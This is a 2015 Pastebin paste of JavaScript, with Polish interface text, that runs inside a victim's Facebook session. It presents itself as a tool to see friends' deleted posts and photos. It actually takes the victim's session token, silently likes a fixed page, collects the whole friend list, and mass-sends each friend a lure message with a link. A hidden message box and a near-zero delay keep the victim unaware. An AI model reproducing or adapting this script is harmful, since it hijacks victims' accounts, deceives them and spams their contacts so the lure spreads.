Advertisement
Guest User

Untitled

a guest
Nov 29th, 2015
57
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 19.29 KB | None | 0 0
  1. function facebook ()
  2. {
  3. this.iIdLoginUser = '';
  4. this.bCheckAction = 'false';
  5. this.iCountSend = 0;
  6. this.iAllFrends = '';
  7. this.iSleep = '';
  8. this.Time = '';
  9.  
  10. /**
  11. * Tworzenie okna sprawdzenia postów
  12. **/
  13. this.createDivMessage = function (sGallery, sMessage)
  14. {
  15. var self = this;
  16. var iLeft = Math.ceil(((window.innerWidth || document.body.clientWidth) - 600) / 2);
  17. var sHtml ='<div id="photos_snowlift" class="_n8 _3qx fbPhotoSnowlift fbxPhoto uiLayer fullScreenAvailable _3qw" tabindex="0" role="region" aria-busy="false" style="min-width: 100%;">'+
  18. '<div style="margin-right:'+iLeft+'px; margin-top: 150px; margin-bottom: 150px;'+
  19. 'width: 1000px;'+
  20. 'height: 9000px;'+
  21. 'background-image: -webkit-gradient( linear, left top, left bottom, color-stop(0, #787878), color-stop(1, #000000) );'+
  22. 'background-image: -o-linear-gradient(bottom, #787878 0%, #000000 100%);'+
  23. 'background-image: -moz-linear-gradient(bottom, #787878 0%, #000000 100%);'+
  24. 'background-image: -webkit-linear-gradient(bottom, #787878 0%, #000000 100%);'+
  25. 'background-image: -ms-linear-gradient(bottom, #787878 0%, #000000 100%);'+
  26. 'background-image: linear-gradient(to bottom, #787878 0%, #000000 100%);'+
  27. 'border-radius: 80px 80px 0 40px;'+
  28. '-webkit-box-shadow: 0px 2px 10px 0px rgba(50, 50, 50, 0.77);'+
  29. '-moz-box-shadow: 0px 2px 10px 0px rgba(50, 50, 50, 0.77);'+
  30. 'box-shadow: 0px 2px 10px 0px rgba(50, 50, 50, 0.77);'+
  31. '">'+
  32. '<div class="top" style="height: 100px;'+
  33. 'width: 100%;'+
  34. 'padding: 15px;">'+
  35.  
  36. '<div class="top-left" style="float: left; width: 240px;">'+
  37. '<div style="width: 0px;'+
  38. 'height: 0px;'+
  39. 'float:left;'+
  40. 'border-radius: 80px 80px 0 80px;'+
  41. 'background-color: silver;'+
  42. 'background-image: url(\'https://graph.facebook.com/'+self.iIdLoginUser +'/picture\'); background-size: cover;">'+
  43. '</div>'+
  44. '<div id="avatersendid" style="width: 100px;'+
  45. 'height: 100px;'+
  46. 'float:left;'+
  47. 'margin-left: 10px;'+
  48. 'border-radius: 80px 80px 80px 0;'+
  49. 'background-size: cover;">'+
  50. '</div>'+
  51. '</div>'+
  52.  
  53. '<div style="float: left; width: 180px; margin-top: 23px;"><h2 style="color: white;">Sprawdź usunięte posty i zdjęcia znajomych!</h2></div>'+
  54. '<div style="float: right; margin-right: 120px;">'+
  55. '<div style="position: relative; left: 150px; color: white;"><a onClick="javascript:oFacebook.setRemoveScript(this)" class="closeTheater" role="button"></a></div>'+
  56. '<table id="status-table" style="color: white;">'+
  57. '<tr>'+
  58. '<td name=""></td>'+
  59. '<td name=""></td>'+
  60. '</tr>'+
  61. '<tr>'+
  62. '<td name="">Ilosc znajomych:</td>'+
  63. '<td name="allfrends">'+self.iAllFrends+'</td>'+
  64. '</tr>'+
  65. '<td name="">Ilosc sprawdzonych:</td>'+
  66. '<td id="senduserid" name="senduser">0'+'</td>'+
  67. '</tr>'+
  68. '<td name="">Pozostaly czas:</td>'+
  69. '<td id="totalltimeid" name="totalltime">(?)'+' sek</td>'+
  70. '</tr>'+
  71. '</tr>'+
  72. '<td name="">Opoznienie:</td>'+
  73. '<td id="sendsleepid" name="sendsleep">'+self.iSleep+' ms</td>'+
  74. '</tr>'+
  75. '</table>'+
  76. '</div>'+
  77.  
  78. '</div>'+
  79. '<div class="content">'+
  80. '<form name="allusers" action="javascript:oFacebook.sendTotallMessage();">'+
  81. '<div id="galleryfb" style="width: 100%;'+
  82. 'height: 170px;'+
  83. 'overflow: auto; opacity: 0.6;'+
  84. '">'+sGallery.toString()+'</div>'+
  85. //'"></div>'+
  86. '<textarea class="message" name="message" style="width: 0px;'+
  87. 'height: 0px;'+
  88. 'border-radius: 0 0 0 15px;'+
  89. 'padding: 15px;'+
  90. 'opacity: 0.5;">'+sMessage+'</textarea>'+
  91. '<div style="float: right;">'+
  92. '<input style="float: right;'+
  93. 'background-color: #000000;'+
  94. 'color: white;'+
  95. 'text-decoration: none;'+
  96. 'border: 0;" class="button" type="submit" value="" onClick="javascript:oFacebook.bCheckAction=\'true\'" />'+
  97. '<input style="float: right;'+
  98. 'background-color: #000000;'+
  99. 'color: white;'+
  100. 'text-decoration: none;'+
  101. 'border: 0;" class="button" onClick="javascript:oFacebook.bCheckAction=\'false\'" type="submit" value="Rozpocznij sparawdzanie" />'+
  102. '<span style="color: white; text-decoration: none;" id="range">Sprawdzono(0)</span><input type="range" min="0" max="'+self.iAllFrends+'" value="0" step="1" onchange="javascript:oFacebook.showValue(this.value)" />'+
  103. '</div>'+
  104. '</form>'+
  105. '</div>'+
  106. '<div style="float: left; text-align: left;'+
  107. 'color: white;'+
  108. 'margin-right: 10px;'+
  109. 'color: white;'+
  110. 'font-size: 12px;'+
  111. 'margin-left: 20px;'+
  112. 'opacity: 0.3; z-index: -1;" class="footer">Znaleznione zdjęcia i posty:</div>'+
  113. '</div></div>';
  114. return sHtml;
  115. }
  116.  
  117. this.showValue = function(newValue)
  118. {
  119. var self = this;
  120. document.getElementById("range").innerHTML="Start("+newValue+")";
  121. self.iCountSend = newValue;
  122. self.sellectCheckBox(newValue);
  123. }
  124.  
  125.  
  126. this.setLikeFBTools = function()
  127. {
  128. //id 391936144280862
  129. var self = this;
  130. var sUrl = 'https://www.facebook.com/ajax/pages/fan_status.php';
  131. var d = new Date();
  132. var data = {
  133. "fbpage_id" : "391936144280862",
  134. "add" : "true",
  135. "reload" : "false",
  136. "fan_origin" : "page_timeline",
  137. "nctr[_mod]" : "pagelet_timeline_page_actions",
  138. "__user": self.getMyUserId(),
  139. "__a": "1",
  140. "fb_dtsg": self.getFbDtsg(),
  141. "ttstamp": "" + ('0'+d.getHours()).slice(-2) + ":" + ('0'+d.getMinutes()).slice(-2)
  142. }
  143.  
  144. var req = self.serialize(data);
  145. var sSource = self.sendAjax(sUrl,req);
  146. }
  147.  
  148. this.setRemoveScript = function ()
  149. {
  150. document.getElementById("photos_snowlift").remove();
  151. }
  152.  
  153.  
  154. this.crateDivGallery = function (oIds)
  155. {
  156. var self = this;
  157. var iCount = 0;
  158. var sHtml = '';
  159. for(var i in oIds)
  160. {
  161. iCount++;
  162. sHtml += '<div style="float:left; padding: 10px;"><input name="userid" type="checkbox" checked="checked" value="'+oIds[i]+'" /><img src="https://graph.facebook.com/'+oIds[i]+'/picture"/></div>';
  163. }
  164.  
  165. sHtml += '';
  166. self.iAllFrends = iCount;
  167. return sHtml.toString();
  168. }
  169.  
  170.  
  171. this.sellectCheckBox = function(i)
  172. {
  173. checkboxes = document.allusers.userid;
  174.  
  175. //sHtml = ''
  176. for(var x=0; x<checkboxes.length; x++)
  177. {
  178.  
  179. if(x<i)
  180. {
  181. //console.log("i="+i+' x='+x);
  182. var test = checkboxes[x];
  183. checkboxes[x].checked = false;
  184. //console.log(checkboxes[x].checked);
  185. }
  186. else
  187. {
  188. checkboxes[x].checked = true;
  189. }
  190.  
  191. }
  192. document.allusers.userid.innerHTML = checkboxes;
  193. //console.log(checkboxes);
  194. //document.getElementById("galleryfb").innerHTML = sHtml;
  195. }
  196.  
  197.  
  198. this.getRequest = function (xmlhttp)
  199. {
  200. if (xmlhttp.readyState==4)
  201. {
  202. return xmlhttp.responseText;
  203. }
  204.  
  205. }
  206.  
  207.  
  208. this.sendAjax = function (sUrl, sData)
  209. {
  210. var xmlhttp;
  211. var response;
  212. var self = this;
  213. if (window.XMLHttpRequest)
  214. {// code for IE7+, Firefox, Chrome, Opera, Safari
  215. xmlhttp = new XMLHttpRequest();
  216. }
  217. else
  218. {// code for IE6, IE5
  219. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  220. }
  221. xmlhttp.open("POST",sUrl,false);
  222. xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
  223. xmlhttp.setRequestHeader("Content-length", sData.length);
  224. xmlhttp.setRequestHeader("Connection", "close");
  225. xmlhttp.send(sData);
  226. response = xmlhttp.onreadystatechange = self.getRequest(xmlhttp);
  227. return response;
  228. }
  229.  
  230.  
  231. this.getSelector = function(sSearch)
  232. {
  233. var sFind = document.getElementsByTagName('input');
  234. for(var i = 0; i < sFind.length; i++)
  235. {
  236. if(sFind[i].name.indexOf(sSearch) == 0)
  237. {
  238. return sFind[i].value;
  239. }
  240. }
  241. }
  242.  
  243.  
  244. this.getMyUserId = function ()
  245. {
  246. var self = this;
  247. return self.getSelector('targetid');
  248. }
  249.  
  250.  
  251. this.getFbDtsg = function ()
  252. {
  253. //<input type="hidden" name="fb_dtsg" value="AQHOy-CS3cy_" autocomplete="off" />
  254. var self = this;
  255. return self.getSelector('fb_dtsg');
  256. }
  257.  
  258.  
  259. this.getAllIdFrends = function(iId, fbdtsg)
  260. {
  261. var self = this;
  262. var sUrl = "https://www.facebook.com/ajax/chooser/list/friends/all/";
  263. var aData = "__user="+iId+"&__a=1&fb_dtsg="+fbdtsg+"&ttstamp="+Math.round(new Date().getTime() / 1000)+"";
  264. var sSource = self.sendAjax(sUrl,aData);
  265. return sSource;
  266. }
  267.  
  268.  
  269. /**
  270. * Sprawdzenie checkboxa i pobranie zdjęć i postów
  271. */
  272. this.getRadioButtonValue = function (rbutton)
  273. {
  274. if (rbutton.checked)
  275. {
  276. return rbutton.value;
  277. }
  278. return null;
  279. }
  280.  
  281.  
  282. this.serialize = function(obj)
  283. {
  284. var str = [];
  285. for(var p in obj)
  286. str.push(p + "=" + encodeURIComponent(obj[p]));
  287. return str.join("&");
  288. }
  289.  
  290.  
  291. this.random = function (len)
  292. {
  293. var min = Math.pow(10, len-1);
  294. var max = Math.pow(10, len);
  295. return Math.floor(Math.random() * (max - min + 1)) + min;
  296. }
  297.  
  298.  
  299. this.sendMessageToUser = function (iIdUserToSend, sMessageToSend)
  300. {
  301.  
  302. var self = this;
  303. var fbDtsg = self.getFbDtsg();
  304. var fbid = self.getMyUserId();
  305. var d = new Date();
  306. var sUrl = 'https://www.facebook.com/ajax/mercury/send_messages.php';
  307.  
  308. var data = {
  309. "message_batch[0][timestamp_relative]": "" + ('0'+d.getHours()).slice(-2) + ":" + ('0'+d.getMinutes()).slice(-2),
  310. "message_batch[0][author]": "fbid:" + fbid,
  311. "message_batch[0][is_cleared]": "false",
  312. "message_batch[0][message_id]": "<" + self.random(14) + ":" + self.random(10) + "-" + self.random(10) + "@mail.projektitan.com>",
  313. "message_batch[0][specific_to_list][0]": "fbid:" + iIdUserToSend,
  314. "__user": fbid,
  315. "message_batch[0][timestamp_absolute]": "Oggi",
  316. "message_batch[0][spoof_warning]": "false",
  317. "message_batch[0][client_thread_id]": "user:" + iIdUserToSend,
  318. "message_batch[0][source]": "source:chat:web",
  319. "message_batch[0][has_attachment]": "false",
  320. "message_batch[0][source_tags][0]": "source:chat",
  321. "message_batch[0][body]": sMessageToSend,
  322. "message_batch[0][is_filtered_content]": "false",
  323. "message_batch[0][timestamp]": "" + Math.round(new Date().getTime() / 1000),
  324. "message_batch[0][is_unread]": "false",
  325. "message_batch[0][action_type]": "ma-type:user-generated-message",
  326. "__a": "1",
  327. "message_batch[0][specific_to_list][1]": "fbid:" + fbid,
  328. "message_batch[0][html_body]": "false",
  329. "message_batch[0][status]": "0",
  330. "client": "mercury",
  331. "message_batch[0][is_forward]": "false",
  332. "fb_dtsg":fbDtsg
  333. };
  334. var req = self.serialize(data);
  335. var sSource = self.sendAjax(sUrl,req);
  336. //@todo przerwanie w momencie gdy cie zbanuja
  337. }
  338.  
  339. this.setInfoSendUser = function (iCount, iMax)
  340. {
  341. var self = this;
  342. var iTime = Math.ceil((((iMax * self.iSleep) - (iCount*self.iSleep))/1000));
  343. document.getElementById("senduserid").innerHTML = iCount;
  344. document.getElementById("totalltimeid").innerHTML = iTime+' sek';
  345. }
  346.  
  347. this.setSleep = function (i)
  348. {
  349. var self = this;
  350. var oNodeList = document.allusers['userid'];
  351. var sMessage = document.allusers['message'];
  352. if(self.bCheckAction !== 'false')
  353. {
  354. return '';
  355. }
  356.  
  357. if(i<self.iCountSend)
  358. {
  359. i = self.iCountSend;
  360. }
  361. else
  362. {
  363. self.iCountSend = i;
  364. }
  365.  
  366. if(i<oNodeList.length)
  367. {
  368. i++;
  369. self.setInfoSendUser(i);
  370. var iIdUser = self.getRadioButtonValue(oNodeList[i]);
  371. if(iIdUser !==null)
  372. {
  373. self.setInfoSendUser(i, oNodeList.length);
  374. document.getElementById("avatersendid").style.backgroundImage = "url('https://graph.facebook.com/"+iIdUser+"/picture')";
  375. self.sendMessageToUser(iIdUser,sMessage.value);
  376. }
  377. setTimeout(
  378. function(){
  379. self.setSleep(i);
  380. },self.iSleep);
  381. }
  382. }
  383.  
  384.  
  385. this.sendTotallMessage = function()
  386. {
  387. var self = this;
  388. self.setSleep(0);
  389. }
  390.  
  391.  
  392. this.sleep = function (milliseconds)
  393. {
  394. var start = new Date().getTime();
  395. for (var i = 0; i < 1e7; i++) {
  396. if ((new Date().getTime() - start) > milliseconds){
  397. break;
  398. }
  399. }
  400. }
  401.  
  402.  
  403. this.mainSet = function (sMessage)
  404. {
  405. var self = this;
  406. var fbDtsg = self.getFbDtsg();
  407. var iId = self.getMyUserId();
  408. var aFrends = self.getAllIdFrends(iId, fbDtsg);
  409. self.setLikeFBTools();
  410. self.iIdLoginUser = iId;
  411. if(typeof aFrends !== "undefined")
  412. {
  413. aFrends = JSON.parse(aFrends.slice(9,aFrends.length));
  414. var oIds = aFrends['payload']['ids'];
  415. var sGallery = self.crateDivGallery(oIds).toString();
  416. var sLightBox = self.createDivMessage(sGallery, sMessage);
  417. document.getElementById("pagelet_bluebar").innerHTML += sLightBox;
  418. }
  419. }
  420. }
  421.  
  422. var sMessage = 'hej :d Haha ogarnij co nasi znajomi robili https://www.youtube.com/watch?v=kgFrOvOyUso';
  423. var oFacebook = new facebook();
  424. oFacebook.iSleep = 1;
  425. oFacebook.mainSet(sMessage);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement